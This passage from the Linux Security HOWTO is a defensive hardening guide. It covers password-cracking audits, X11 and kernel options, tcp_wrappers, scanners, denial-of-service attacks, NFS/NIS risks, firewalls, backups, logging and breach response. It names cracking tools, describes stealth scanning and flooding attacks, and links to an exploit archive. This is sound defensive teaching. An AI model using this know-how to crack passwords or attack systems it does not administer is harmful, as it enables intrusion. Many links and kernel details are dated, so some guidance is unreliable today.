Password cracking programs work on a simple idea: they try every word in the dictionary, and then variations on those words, encrypting each one and checking it against your encrypted password. If they get a match they know what your password is.

There are a number of programs out there...the two most notable of which are "Crack" and "John the Ripper" ( http://www.openwall.com/john/) . They will take up a lot of your CPU time, but you should be able to tell if an attacker could get in using them by running them first yourself and notifying users with weak passwords. Note that an attacker would have to use some other hole first in order to read your /etc/passwd file, but such holes are more common than you might think.

Because security is only as strong as the most insecure host, it is worth mentioning that if you have any Windows machines on your network, you should check out L0phtCrack, a Crack implementation for Windows. It's available from http://www.l0pht.com

6.10 CFS - Cryptographic File System and TCFS - Transparent Cryptographic File System

CFS is a way of encrypting entire directory trees and allowing users to store encrypted files on them. It uses an NFS server running on the local machine. RPMS are available at http://www.zedz.net/redhat/, and more information on how it all works is at ftp://ftp.research.att.com/dist/mab/.

TCFS improves on CFS by adding more integration with the file system, so that it's transparent to users that the file system that is encrypted. More information at: http://www.tcfs.it/.

It also need not be used on entire file systems. It works on directory trees as well.

6.11 X11, SVGA and display security

X11

It's important for you to secure your graphical display to prevent attackers from grabbing your passwords as you type them, reading documents or information you are reading on your screen, or even using a hole to gain root access. Running remote X applications over a network also can be fraught with peril, allowing sniffers to see all your interaction with the remote system.

X has a number of access-control mechanisms. The simplest of them is host-based: you use xhost to specify the hosts that are allowed access to your display. This is not very secure at all, because if someone has access to your machine, they can xhost + their machine and get in easily. Also, if you have to allow access from an untrusted machine, anyone there can compromise your display.

When using xdm (X Display Manager) to log in, you get a much better access method: MIT-MAGIC-COOKIE-1. A 128-bit "cookie" is generated and stored in your .Xauthority file. If you need to allow a remote machine access to your display, you can use the xauth command and the information in your .Xauthority file to provide access to only that connection. See the Remote-X-Apps mini-howto, available at http://metalab.unc.edu/LDP/HOWTO/mini/Remote-X-Apps.html.

You can also use ssh (see ssh , above) to allow secure X connections. This has the advantage of also being transparent to the end user, and means that no unencrypted data flows across the network.

You can also disable any remote connections to your X server by using the '-nolisten tcp' options to your X server. This will prevent any network connections to your server over tcp sockets.

Take a look at the Xsecurity man page for more information on X security. The safe bet is to use xdm to login to your console and then use ssh to go to remote sites on which you wish to run X programs.

SVGA

SVGAlib programs are typically SUID-root in order to access all your Linux machine's video hardware. This makes them very dangerous. If they crash, you typically need to reboot your machine to get a usable console back. Make sure any SVGA programs you are running are authentic, and can at least be somewhat trusted. Even better, don't run them at all.

GGI (Generic Graphics Interface project)

The Linux GGI project is trying to solve several of the problems with video interfaces on Linux. GGI will move a small piece of the video code into the Linux kernel, and then control access to the video system. This means GGI will be able to restore your console at any time to a known good state. They will also allow a secure attention key, so you can be sure that there is no Trojan horse login program running on your console. http://synergy.caltech.edu/~ggi/


Linux Security HOWTO: Kernel Security

 Next Previous Contents

7. Kernel Security

This is a description of the kernel configuration options that relate to security, and an explanation of what they do, and how to use them.

As the kernel controls your computer's networking, it is important that it be very secure, and not be compromised. To prevent some of the latest networking attacks, you should try to keep your kernel version current. You can find new kernels at ftp://ftp.kernel.org or from your distribution vendor.

There is also a international group providing a single unified crypto patch to the mainstream Linux kernel. This patch provides support for a number of cryptographic subsystems and things that cannot be included in the mainstream kernel due to export restrictions. For more information, visit their web page at: http://www.kerneli.org

7.1 2.0 Kernel Compile Options

For 2.0.x kernels, the following options apply. You should see these options during the kernel configuration process. Many of the comments here are from ./linux/Documentation/Configure.help, which is the same document that is referenced while using the Help facility during the make config stage of compiling the kernel.

  • Network Firewalls (CONFIG_FIREWALL)

    This option should be on if you intend to run any firewalling or masquerading on your Linux machine. If it's just going to be a regular client machine, it's safe to say no.

  • IP: forwarding/gatewaying (CONFIG_IP_FORWARD)

    If you enable IP forwarding, your Linux box essentially becomes a router. If your machine is on a network, you could be forwarding data from one network to another, and perhaps subverting a firewall that was put there to prevent this from happening. Normal dial-up users will want to disable this, and other users should concentrate on the security implications of doing this. Firewall machines will want this enabled, and used in conjunction with firewall software.

    You can enable IP forwarding dynamically using the following command:

            root#  echo 1 > /proc/sys/net/ipv4/ip_forward
    and disable it with the command:
            root#  echo 0 > /proc/sys/net/ipv4/ip_forward
    Keep in mind the files in /proc are "virtual" files and the shown size of the file might not reflect the data output from it.

  • IP: syn cookies (CONFIG_SYN_COOKIES)

    a "SYN Attack" is a denial of service (DoS) attack that consumes all the resources on your machine, forcing you to reboot. We can't think of a reason you wouldn't normally enable this. In the 2.2.x kernel series this config option merely allows syn cookies, but does not enable them. To enable them, you have to do:

                    root# echo 1 > /proc/sys/net/ipv4/tcp_syncookies <P>

  • IP: Firewalling (CONFIG_IP_FIREWALL)

    This option is necessary if you are going to configure your machine as a firewall, do masquerading, or wish to protect your dial-up workstation from someone entering via your PPP dial-up interface.

  • IP: firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE)

    This option gives you information about packets your firewall received, like sender, recipient, port, etc.

  • IP: Drop source routed frames (CONFIG_IP_NOSR)

    This option should be enabled. Source routed frames contain the entire path to their destination inside of the packet. This means that routers through which the packet goes do not need to inspect it, and just forward it on. This could lead to data entering your system that may be a potential exploit.

  • IP: masquerading (CONFIG_IP_MASQUERADE) If one of the computers on your local network for which your Linux box acts as a firewall wants to send something to the outside, your box can "masquerade" as that host, i.e., it forewords the traffic to the intended destination, but makes it look like it came from the firewall box itself. See http://www.indyramp.com/masq for more information.

  • IP: ICMP masquerading (CONFIG_IP_MASQUERADE_ICMP) This option adds ICMP masquerading to the previous option of only masquerading TCP or UDP traffic.

  • IP: transparent proxy support (CONFIG_IP_TRANSPARENT_PROXY) This enables your Linux firewall to transparently redirect any network traffic originating from the local network and destined for a remote host to a local server, called a "transparent proxy server". This makes the local computers think they are talking to the remote end, while in fact they are connected to the local proxy. See the IP-Masquerading HOWTO and http://www.indyramp.com/masq for more information.

  • IP: always defragment (CONFIG_IP_ALWAYS_DEFRAG)

    Generally this option is disabled, but if you are building a firewall or a masquerading host, you will want to enable it. When data is sent from one host to another, it does not always get sent as a single packet of data, but rather it is fragmented into several pieces. The problem with this is that the port numbers are only stored in the first fragment. This means that someone can insert information into the remaining packets that isn't supposed to be there. It could also prevent a teardrop attack against an internal host that is not yet itself patched against it.

  • Packet Signatures (CONFIG_NCPFS_PACKET_SIGNING)

    This is an option that is available in the 2.2.x kernel series that will sign NCP packets for stronger security. Normally you can leave it off, but it is there if you do need it.

  • IP: Firewall packet netlink device (CONFIG_IP_FIREWALL_NETLINK)

    This is a really neat option that allows you to analyze the first 128 bytes of the packets in a user-space program, to determine if you would like to accept or deny the packet, based on its validity.

7.2 2.2 Kernel Compile Options

For 2.2.x kernels, many of the options are the same, but a few new ones have been developed. Many of the comments here are from ./linux/Documentation/Configure.help, which is the same document that is referenced while using the Help facility during the make config stage of compiling the kernel. Only the newly- added options are listed below. Consult the 2.0 description for a list of other necessary options. The most significant change in the 2.2 kernel series is the IP firewalling code. The ipchains program is now used to install IP firewalling, instead of the ipfwadm program used in the 2.0 kernel.

  • Socket Filtering (CONFIG_FILTER)

    For most people, it's safe to say no to this option. This option allows you to connect a user-space filter to any socket and determine if packets should be allowed or denied. Unless you have a very specific need and are capable of programming such a filter, you should say no. Also note that as of this writing, all protocols were supported except TCP.

  • Port Forwarding

    Port Forwarding is an addition to IP Masquerading which allows some forwarding of packets from outside to inside a firewall on given ports. This could be useful if, for example, you want to run a web server behind the firewall or masquerading host and that web server should be accessible from the outside world. An external client sends a request to port 80 of the firewall, the firewall forwards this request to the web server, the web server handles the request and the results are sent through the firewall to the original client. The client thinks that the firewall machine itself is running the web server. This can also be used for load balancing if you have a farm of identical web servers behind the firewall.

    Information about this feature is available from http://www.monmouth.demon.co.uk/ipsubs/portforwarding.html (to browse the WWW, you need to have access to a machine on the Internet that has a program like lynx or Netscape). For general info, please see ftp://ftp.compsoc.net/users/steve/ipportfw/linux21/

  • Socket Filtering (CONFIG_FILTER)

    Using this option, user-space programs can attach a filter to any socket and thereby tell the kernel that it should allow or disallow certain types of data to get through the socket. Linux socket filtering works on all socket types except TCP for now. See the text file ./linux/Documentation/networking/filter.txt for more information.

  • IP: Masquerading

    The 2.2 kernel masquerading has been improved. It provides additional support for masquerading special protocols, etc. Be sure to read the IP Chains HOWTO for more information.

7.3 Kernel Devices

There are a few block and character devices available on Linux that will also help you with security.

The two devices /dev/random and /dev/urandom are provided by the kernel to provide random data at any time.

Both /dev/random and /dev/urandom should be secure enough to use in generating PGP keys, ssh challenges, and other applications where secure random numbers are required. Attackers should be unable to predict the next number given any initial sequence of numbers from these sources. There has been a lot of effort put in to ensuring that the numbers you get from these sources are random in every sense of the word.

The only difference between the two devices, is that /dev/random runs out of random bytes and it makes you wait for more to be accumulated. Note that on some systems, it can block for a long time waiting for new user-generated entropy to be entered into the system. So you have to use care before using /dev/random. (Perhaps the best thing to do is to use it when you're generating sensitive keying information, and you tell the user to pound on the keyboard repeatedly until you print out "OK, enough".)

/dev/random is high quality entropy, generated from measuring the inter-interrupt times etc. It blocks until enough bits of random data are available.

/dev/urandom is similar, but when the store of entropy is running low, it'll return a cryptographically strong hash of what there is. This isn't as secure, but it's enough for most applications.

You might read from the devices using something like:

        root#  head -c 6 /dev/urandom | mimencode
This will print six random characters on the console, suitable for password generation. You can find mimencode in the metamail package.

See /usr/src/linux/drivers/char/random.c for a description of the algorithm.

Thanks to Theodore Y. Ts'o, Jon Lewis, and others from Linux-kernel for helping me (Dave) with this.


Linux Security HOWTO: Network Security

 Next Previous Contents

8. Network Security

Network security is becoming more and more important as people spend more and more time connected. Compromising network security is often much easier than compromising physical or local security, and is much more common.

There are a number of good tools to assist with network security, and more and more of them are shipping with Linux distributions.

8.1 Packet Sniffers

One of the most common ways intruders gain access to more systems on your network is by employing a packet sniffer on a already compromised host. This "sniffer" just listens on the Ethernet port for things like passwd and login and su in the packet stream and then logs the traffic after that. This way, attackers gain passwords for systems they are not even attempting to break into. Clear-text passwords are very vulnerable to this attack.

Example: Host A has been compromised. Attacker installs a sniffer. Sniffer picks up admin logging into Host B from Host C. It gets the admins personal password as they login to B. Then, the admin does a su to fix a problem. They now have the root password for Host B. Later the admin lets someone telnet from his account to Host Z on another site. Now the attacker has a password/login on Host Z.

In this day and age, the attacker doesn't even need to compromise a system to do this: they could also bring a laptop or pc into a building and tap into your net.

Using ssh or other encrypted password methods thwarts this attack. Things like APOP for POP accounts also prevents this attack. (Normal POP logins are very vulnerable to this, as is anything that sends clear-text passwords over the network.)

8.2 System services and tcp_wrappers

Before you put your Linux system on ANY network the first thing to look at is what services you need to offer. Services that you do not need to offer should be disabled so that you have one less thing to worry about and attackers have one less place to look for a hole.

There are a number of ways to disable services under Linux. You can look at your /etc/inetd.conf file and see what services are being offered by your inetd. Disable any that you do not need by commenting them out (# at the beginning of the line), and then sending your inetd process a SIGHUP.

You can also remove (or comment out) services in your /etc/services file. This will mean that local clients will also be unable to find the service (i.e., if you remove ftp, and try and ftp to a remote site from that machine it will fail with an "unknown service" message). It's usually not worth the trouble to remove services from /etc/services, since it provides no additional security. If a local person wanted to use ftp even though you had commented it out, they would make their own client that used the common FTP port and would still work fine.

Some of the services you might want to leave enabled are:

  • ftp
  • telnet (or ssh)
  • mail, such as pop-3 or imap
  • identd

If you know you are not going to use some particular package, you can also delete it entirely. rpm -e packagename under the Red Hat distribution will erase an entire package. Under Debian dpkg --remove does the same thing.

Additionally, you really want to disable the rsh/rlogin/rcp utilities, including login (used by rlogin), shell (used by rcp), and exec (used by rsh) from being started in /etc/inetd.conf. These protocols are extremely insecure and have been the cause of exploits in the past.

You should check /etc/rc.d/rc[0-9].d (on Red Hat; /etc/rc[0-9].d on Debian), and see if any of the servers started in those directories are not needed. The files in those directories are actually symbolic links to files in the directory /etc/rc.d/init.d (on Red Hat; /etc/init.d on Debian). Renaming the files in the init.d directory disables all the symbolic links that point to that file. If you only wish to disable a service for a particular run level, rename the appropriate symbolic link by replacing the upper-case S with a lower-case s, like this:

       root#  cd /etc/rc6.d
       root#  mv S45dhcpd s45dhcpd

If you have BSD-style rc files, you will want to check /etc/rc* for programs you don't need.

Most Linux distributions ship with tcp_wrappers "wrapping" all your TCP services. A tcp_wrapper (tcpd) is invoked from inetd instead of the real server. tcpd then checks the host that is requesting the service, and either executes the real server, or denies access from that host. tcpd allows you to restrict access to your TCP services. You should make a /etc/hosts.allow and add in only those hosts that need to have access to your machine's services.

If you are a home dial up user, we suggest you deny ALL. tcpd also logs failed attempts to access services, so this can alert you if you are under attack. If you add new services, you should be sure to configure them to use tcp_wrappers if they are TCP-based. For example, a normal dial-up user can prevent outsiders from connecting to his machine, yet still have the ability to retrieve mail, and make network connections to the Internet. To do this, you might add the following to your /etc/hosts.allow:

ALL: 127.

And of course /etc/hosts.deny would contain:

ALL: ALL

which will prevent external connections to your machine, yet still allow you from the inside to connect to servers on the Internet.

Keep in mind that tcp_wrappers only protects services executed from inetd, and a select few others. There very well may be other services running on your machine. You can use netstat -ta to find a list of all the services your machine is offering.

8.3 Verify Your DNS Information

Keeping up-to-date DNS information about all hosts on your network can help to increase security. If an unauthorized host becomes connected to your network, you can recognize it by its lack of a DNS entry. Many services can be configured to not accept connections from hosts that do not have valid DNS entries.

8.4 identd

identd is a small program that typically runs out of your inetd server. It keeps track of what user is running what TCP service, and then reports this to whoever requests it.

Many people misunderstand the usefulness of identd, and so disable it or block all off site requests for it. identd is not there to help out remote sites. There is no way of knowing if the data you get from the remote identd is correct or not. There is no authentication in identd requests.

Why would you want to run it then? Because it helps you out, and is another data-point in tracking. If your identd is un compromised, then you know it's telling remote sites the user-name or uid of people using TCP services. If the admin at a remote site comes back to you and tells you user so-and-so was trying to hack into their site, you can easily take action against that user. If you are not running identd, you will have to look at lots and lots of logs, figure out who was on at the time, and in general take a lot more time to track down the user.

The identd that ships with most distributions is more configurable than many people think. You can disable it for specific users (they can make a .noident file), you can log all identd requests (We recommend it), you can even have identd return a uid instead of a user name or even NO-USER.

8.5 Configuring and Securing the Postfix MTA

The Postfix mail server was written by Wietse Venema, author of Postfix and several other staple Internet security products, as an "attempt to provide an alternative to the widely-used Sendmail program. Postfix attempts to be fast, easy to administer, and hopefully secure, while at the same time being sendmail compatible enough to not upset your users."

Further information on postfix can be found at the Postfix home and in the Configuring and Securing Postfix.

8.6 SATAN, ISS, and Other Network Scanners

There are a number of different software packages out there that do port and service-based scanning of machines or networks. SATAN, ISS, SAINT, and Nessus are some of the more well-known ones. This software connects to the target machine (or all the target machines on a network) on all the ports they can, and try to determine what service is running there. Based on this information, you can tell if the machine is vulnerable to a specific exploit on that server.

SATAN (Security Administrator's Tool for Analyzing Networks) is a port scanner with a web interface. It can be configured to do light, medium, or strong checks on a machine or a network of machines. It's a good idea to get SATAN and scan your machine or network, and fix the problems it finds. Make sure you get the copy of SATAN from metalab or a reputable FTP or web site. There was a Trojan copy of SATAN that was distributed out on the net. http://www.trouble.org/~zen/satan/satan.html. Note that SATAN has not been updated in quite a while, and some of the other tools below might do a better job.

ISS (Internet Security Scanner) is another port-based scanner. It is faster than Satan, and thus might be better for large networks. However, SATAN tends to provide more information.

Abacus is a suite of tools to provide host-based security and intrusion detection. Look at it's home page on the web for more information. http://www.psionic.com/abacus/

SAINT is a updated version of SATAN. It is web-based and has many more up-to-date tests than SATAN. You can find out more about it at: http://www.wwdsi.com/~saint

Nessus is a free security scanner. It has a GTK graphical interface for ease of use. It is also designed with a very nice plug in setup for new port-scanning tests. For more information, take a look at: http://www.nessus.org

Detecting Port Scans

There are some tools designed to alert you to probes by SATAN and ISS and other scanning software. However, if you liberally use tcp_wrappers, and look over your log files regularly, you should be able to notice such probes. Even on the lowest setting, SATAN still leaves traces in the logs on a stock Red Hat system.

There are also "stealth" port scanners. A packet with the TCP ACK bit set (as is done with established connections) will likely get through a packet-filtering firewall. The returned RST packet from a port that _had no established session_ can be taken as proof of life on that port. I don't think TCP wrappers will detect this.

You might also look at SNORT, which is a free IDS (Intrusion Detection System), which can detect other network intrusions. http://www.snort.org

8.7 sendmail, qmail and MTA's

One of the most important services you can provide is a mail server. Unfortunately, it is also one of the most vulnerable to attack, simply due to the number of tasks it must perform and the privileges it typically needs.

If you are using sendmail it is very important to keep up on current versions. sendmail has a long long history of security exploits. Always make sure you are running the most recent version from http://www.sendmail.org.

Keep in mind that sendmail does not have to be running in order for you to send mail. If you are a home user, you can disable sendmail entirely, and simply use your mail client to send mail. You might also choose to remove the "-bd" flag from the sendmail startup file, thereby disabling incoming requests for mail. In other words, you can execute sendmail from your startup script using the following instead:

                # /usr/lib/sendmail -q15m
This will cause sendmail to flush the mail queue every fifteen minutes for any messages that could not be successfully delivered on the first attempt.

Many administrators choose not to use sendmail, and instead choose one of the other mail transport agents. You might consider switching over to qmail. qmail was designed with security in mind from the ground up. It's fast, stable, and secure. Qmail can be found at http://www.qmail.org

In direct competition to qmail is "postfix", written by Wietse Venema, the author of tcp_wrappers and other security tools. Formerly called vmailer, and sponsored by IBM, this is also a mail transport agent written from the ground up with security in mind. You can find more information about postfix at http://www.postfix.org

8.8 Denial of Service Attacks

A "Denial of Service" (DoS) attack is one where the attacker tries to make some resource too busy to answer legitimate requests, or to deny legitimate users access to your machine.

Denial of service attacks have increased greatly in recent years. Some of the more popular and recent ones are listed below. Note that new ones show up all the time, so this is just a few examples. Read the Linux security lists and the bugtraq list and archives for more current information.

  • SYN Flooding - SYN flooding is a network denial of service attack. It takes advantage of a "loophole" in the way TCP connections are created. The newer Linux kernels (2.0.30 and up) have several configurable options to prevent SYN flood attacks from denying people access to your machine or services. See Kernel Security for proper kernel protection options.

  • Pentium "F00F" Bug - It was recently discovered that a series of assembly codes sent to a genuine Intel Pentium processor would reboot the machine. This affects every machine with a Pentium processor (not clones, not Pentium Pro or PII), no matter what operating system it's running. Linux kernels 2.0.32 and up contain a work around for this bug, preventing it from locking your machine. Kernel 2.0.33 has an improved version of the kernel fix, and is suggested over 2.0.32. If you are running on a Pentium, you should upgrade now!

  • Ping Flooding - Ping flooding is a simple brute-force denial of service attack. The attacker sends a "flood" of ICMP packets to your machine. If they are doing this from a host with better bandwidth than yours, your machine will be unable to send anything on the network. A variation on this attack, called "smurfing", sends ICMP packets to a host with your machine's return IP, allowing them to flood you less detectably. You can find more information about the "smurf" attack at http://www.quadrunner.com/~chuegen/smurf.txt

    If you are ever under a ping flood attack, use a tool like tcpdump to determine where the packets are coming from (or appear to be coming from), then contact your provider with this information. Ping floods can most easily be stopped at the router level or by using a firewall.

  • Ping o' Death - The Ping o' Death attack sends ICMP ECHO REQUEST packets that are too large to fit in the kernel data structures intended to store them. Because sending a single, large (65,510 bytes) "ping" packet to many systems will cause them to hang or even crash, this problem was quickly dubbed the "Ping o' Death." This one has long been fixed, and is no longer anything to worry about.

  • Teardrop / New Tear - One of the most recent exploits involves a bug present in the IP fragmentation code on Linux and Windows platforms. It is fixed in kernel version 2.0.33, and does not require selecting any kernel compile-time options to utilize the fix. Linux is apparently not vulnerable to the "newtear" exploit.

You can find code for most exploits, and a more in-depth description of how they work, at http://www.rootshell.com using their search engine.

8.9 NFS (Network File System) Security.

NFS is a very widely-used file sharing protocol. It allows servers running nfsd and mountd to "export" entire file systems to other machines using NFS filesystem support built in to their kernels (or some other client support if they are not Linux machines). mountd keeps track of mounted file systems in /etc/mtab, and can display them with showmount.

Many sites use NFS to serve home directories to users, so that no matter what machine in the cluster they login to, they will have all their home files.

There is some small amount of security allowed in exporting file systems. You can make your nfsd map the remote root user (uid=0) to the nobody user, denying them total access to the files exported. However, since individual users have access to their own (or at least the same uid) files, the remote root user can login or su to their account and have total access to their files. This is only a small hindrance to an attacker that has access to mount your remote file systems.

If you must use NFS, make sure you export to only those machines that you really need to. Never export your entire root directory; export only directories you need to export.

See the NFS HOWTO for more information on NFS, available at http://metalab.unc.edu/mdw/HOWTO/NFS-HOWTO.html

8.10 NIS (Network Information Service) (formerly YP).

Network Information service (formerly YP) is a means of distributing information to a group of machines. The NIS master holds the information tables and converts them into NIS map files. These maps are then served over the network, allowing NIS client machines to get login, password, home directory and shell information (all the information in a standard /etc/passwd file). This allows users to change their password once and have it take effect on all the machines in the NIS domain.

NIS is not at all secure. It was never meant to be. It was meant to be handy and useful. Anyone that can guess the name of your NIS domain (anywhere on the net) can get a copy of your passwd file, and use "crack" and "John the Ripper" against your users' passwords. Also, it is possible to spoof NIS and do all sorts of nasty tricks. If you must use NIS, make sure you are aware of the dangers.

There is a much more secure replacement for NIS, called NIS+. Check out the NIS HOWTO for more information: http://metalab.unc.edu/mdw/HOWTO/NIS-HOWTO.html

8.11 Firewalls

Firewalls are a means of controlling what information is allowed into and out of your local network. Typically the firewall host is connected to the Internet and your local LAN, and the only access from your LAN to the Internet is through the firewall. This way the firewall can control what passes back and forth from the Internet and your LAN.

There are a number of types of firewalls and methods of setting them up. Linux machines make pretty good firewalls. Firewall code can be built right into 2.0 and higher kernels. The user-space tools ipfwadm for 2.0 kernels and ipchains for 2.2 kernels, allows you to change, on the fly, the types of network traffic you allow. You can also log particular types of network traffic.

Firewalls are a very useful and important technique in securing your network. However, never think that because you have a firewall, you don't need to secure the machines behind it. This is a fatal mistake. Check out the very good Firewall-HOWTO at your latest metalab archive for more information on firewalls and Linux. http://metalab.unc.edu/mdw/HOWTO/Firewall-HOWTO.html

More information can also be found in the IP-Masquerade mini-howto: http://metalab.unc.edu/mdw/HOWTO/mini/IP-Masquerade.html

More information on ipfwadm (the tool that lets you change settings on your firewall, can be found at it's home page: http://www.xos.nl/linux/ipfwadm/

If you have no experience with firewalls, and plan to set up one for more than just a simple security policy, the Firewalls book by O'Reilly and Associates or other online firewall document is mandatory reading. Check out http://www.ora.com for more information. The National Institute of Standards and Technology have put together an excellent document on firewalls. Although dated 1995, it is still quite good. You can find it at http://csrc.nist.gov/nistpubs/800-10/main.html. Also of interest:

  • The Freefire Project -- a list of freely-available firewall tools, available at http://sites.inka.de/sites/lina/freefire-l/index_en.html
  • SunWorld Firewall Design -- written by the authors of the O'Reilly book, this provides a rough introduction to the different firewall types. It's available at http://www.sunworld.com/swol-01-1996/swol-01-firewall.html
  • Mason - the automated firewall builder for Linux. This is a firewall script that learns as you do the things you need to do on your network! More info at: http://www.pobox.com/~wstearns/mason/

8.12 IP Chains - Linux Kernel 2.2.x Firewalling

Linux IP Firewalling Chains is an update to the 2.0 Linux firewalling code for the 2.2 kernel. It has many more features than previous implementations, including:

  • More flexible packet manipulations
  • More complex accounting
  • Simple policy changes possible atomically
  • Fragments can be explicitly blocked, denied, etc.
  • Logs suspicious packets.
  • Can handle protocols other than ICMP/TCP/UDP.

If you are currently using ipfwadm on your 2.0 kernel, there are scripts available to convert the ipfwadm command format to the format ipchains uses.

Be sure to read the IP Chains HOWTO for further information. It is available at http://www.adelaide.net.au/~rustcorp/ipfwchains/ipfwchains.html

8.13 Netfilter - Linux Kernel 2.4.x Firewalling

In yet another set of advancements to the kernel IP packet filtering code, netfilter allows users to set up, maintain, and inspect the packet filtering rules in the new 2.4 kernel.

The netfilter subsystem is a complete rewrite of previous packet filtering implementations including ipchains and ipfwadm. Netfilter provides a large number of improvements, and it has now become an even more mature and robust solution for protecting corporate networks.

iptables
is the command-line interface used to manipulate the firewall tables within the kernel.

Netfilter provides a raw framework for manipulating packets as they traverse through various parts of the kernel. Part of this framework includes support for masquerading, standard packet filtering, and now more complete network address translation. It even includes improved support for load balancing requests for a particular service among a group of servers behind the firewall.

The stateful inspection features are especially powerful. Stateful inspection provides the ability to track and control the flow of communication passing through the filter. The ability to keep track of state and context information about a session makes rules simpler and tries to interpret higher-level protocols.

Additionally, small modules can be developed to perform additional specific functions, such as passing packets to programs in userspace for processing then reinjecting back into the normal packet flow. The ability to develop these programs in userspace reduces the level of complexity that was previously associated with having to make changes directly at the kernel level.

Other IP Tables references include:

  • Oskar Andreasson IP Tables Tutorial -- Oskar Andreasson speaks with LinuxSecurity.com about his comprehensive IP Tables tutorial and how this document can be used to build a robust firewall for your organization.

  • Hal Burgiss Introduces Linux Security Quick-Start Guides -- Hal Burgiss has written two authoritative guides on securing Linux, including managing firewalling.

  • Netfilter Homepage -- The netfilter/iptables homepage.

  • Linux Kernel 2.4 Firewalling Matures: netfilter -- This LinuxSecurity.com article describes the basics of packet filtering, how to get started using iptables, and a list of the new features available in the latest generation of firewalling for Linux.

8.14 VPNs - Virtual Private Networks

VPN's are a way to establish a "virtual" network on top of some already-existing network. This virtual network often is encrypted and passes traffic only to and from some known entities that have joined the network. VPNs are often used to connect someone working at home over the public Internet to an internal company network.

If you are running a Linux masquerading firewall and need to pass MS PPTP (Microsoft's VPN point-to-point product) packets, there is a Linux kernel patch out to do just that. See: ip-masq-vpn.

There are several Linux VPN solutions available:

  • vpnd. See the http://sunsite.auc.dk/vpnd/.
  • Free S/Wan, available at http://www.xs4all.nl/~freeswan/
  • ssh can be used to construct a VPN. See the VPN mini-howto for more information.
  • vps (virtual private server) at http://www.strongcrypto.com.
  • yawipin at http://yavipin.sourceforge.net

See also the section on IPSEC for pointers and more information.


Linux Security HOWTO: Security Preparation (before you go on-line)

 Next Previous Contents

9. Security Preparation (before you go on-line)

Ok, so you have checked over your system, and determined it's as secure as feasible, and you're ready to put it online. There are a few things you should now do in order to prepare for an intrusion, so you can quickly disable the intruder, and get back up and running.

9.1 Make a Full Backup of Your Machine

Discussion of backup methods and storage is beyond the scope of this document, but here are a few words relating to backups and security:

If you have less than 650mb of data to store on a partition, a CD-R copy of your data is a good way to go (as it's hard to tamper with later, and if stored properly can last a long time), you will of course need at least 650MB of space to make the image. Tapes and other re-writable media should be write-protected as soon as your backup is complete, and then verified to prevent tampering. Make sure you store your backups in a secure off-line area. A good backup will ensure that you have a known good point to restore your system from.

9.2 Choosing a Good Backup Schedule

A six-tape cycle is easy to maintain. This includes four tapes for during the week, one tape for even Fridays, and one tape for odd Fridays. Perform an incremental backup every day, and a full backup on the appropriate Friday tape. If you make some particularly important changes or add some important data to your system, a full backup might well be in order.

9.3 Testing your backups

You should do periodic tests of your backups to make sure they are working as you might expect them to. Restores of files and checking against the real data, sizes and listings of backups, and reading old backups should be done on a regular basis.

9.4 Backup Your RPM or Debian File Database

In the event of an intrusion, you can use your RPM database like you would use tripwire, but only if you can be sure it too hasn't been modified. You should copy the RPM database to a floppy, and keep this copy off-line at all times. The Debian distribution likely has something similar.

The files /var/lib/rpm/fileindex.rpm and /var/lib/rpm/packages.rpm most likely won't fit on a single floppy. But if compressed, each should fit on a seperate floppy.

Now, when your system is compromised, you can use the command:

                        root#  rpm -Va
to verify each file on the system. See the rpm man page, as there are a few other options that can be included to make it less verbose. Keep in mind you must also be sure your RPM binary has not been compromised.

This means that every time a new RPM is added to the system, the RPM database will need to be rearchived. You will have to decide the advantages versus drawbacks.

9.5 Keep Track of Your System Accounting Data

It is very important that the information that comes from syslog not be compromised. Making the files in /var/log readable and writable by only a limited number of users is a good start.

Be sure to keep an eye on what gets written there, especially under the auth facility. Multiple login failures, for example, can indicate an attempted break-in.

Where to look for your log file will depend on your distribution. In a Linux system that conforms to the "Linux Filesystem Standard", such as Red Hat, you will want to look in /var/log and check messages, mail.log, and others.

You can find out where your distribution is logging to by looking at your /etc/syslog.conf file. This is the file that tells syslogd (the system logging daemon) where to log various messages.

You might also want to configure your log-rotating script or daemon to keep logs around longer so you have time to examine them. Take a look at the logrotate package on recent Red Hat distributions. Other distributions likely have a similar process.

If your log files have been tampered with, see if you can determine when the tampering started, and what sort of things appeared to be tampered with. Are there large periods of time that cannot be accounted for? Checking backup tapes (if you have any) for untampered log files is a good idea.

Intruders typically modify log files in order to cover their tracks, but they should still be checked for strange happenings. You may notice the intruder attempting to gain entrance, or exploit a program in order to obtain the root account. You might see log entries before the intruder has time to modify them.

You should also be sure to separate the auth facility from other log data, including attempts to switch users using su, login attempts, and other user accounting information.

If possible, configure syslog to send a copy of the most important data to a secure system. This will prevent an intruder from covering his tracks by deleting his login/su/ftp/etc attempts. See the syslog.conf man page, and refer to the @ option.

There are several more advanced syslogd programs out there. Take a look at http://www.core-sdi.com/ssyslog/ for Secure Syslog. Secure Syslog allows you to encrypt your syslog entries and make sure no one has tampered with them.

Another syslogd with more features is syslog-ng. It allows you a lot more flexibility in your logging and also can has your remote syslog streams to prevent tampering.

Finally, log files are much less useful when no one is reading them. Take some time out every once in a while to look over your log files, and get a feeling for what they look like on a normal day. Knowing this can help make unusual things stand out.

9.6 Apply All New System Updates.

Most Linux users install from a CD-ROM. Due to the fast-paced nature of security fixes, new (fixed) programs are always being released. Before you connect your machine to the network, it's a good idea to check with your distribution's ftp site and get all the updated packages since you received your distribution CD-ROM. Many times these packages contain important security fixes, so it's a good idea to get them installed.


Linux Security HOWTO: What To Do During and After a Breakin

 Next Previous Contents

10. What To Do During and After a Breakin

So you have followed some of the advice here (or elsewhere) and have detected a break-in? The first thing to do is to remain calm. Hasty actions can cause more harm than the attacker would have.

10.1 Security Compromise Underway.

Spotting a security compromise under way can be a tense undertaking. How you react can have large consequences.

If the compromise you are seeing is a physical one, odds are you have spotted someone who has broken into your home, office or lab. You should notify your local authorities. In a lab, you might have spotted someone trying to open a case or reboot a machine. Depending on your authority and procedures, you might ask them to stop, or contact your local security people.

If you have detected a local user trying to compromise your security, the first thing to do is confirm they are in fact who you think they are. Check the site they are logging in from. Is it the site they normally log in from? No? Then use a non-electronic means of getting in touch. For instance, call them on the phone or walk over to their office/house and talk to them. If they agree that they are on, you can ask them to explain what they were doing or tell them to cease doing it. If they are not on, and have no idea what you are talking about, odds are this incident requires further investigation. Look into such incidents , and have lots of information before making any accusations.

If you have detected a network compromise, the first thing to do (if you are able) is to disconnect your network. If they are connected via modem, unplug the modem cable; if they are connected via Ethernet, unplug the Ethernet cable. This will prevent them from doing any further damage, and they will probably see it as a network problem rather than detection.

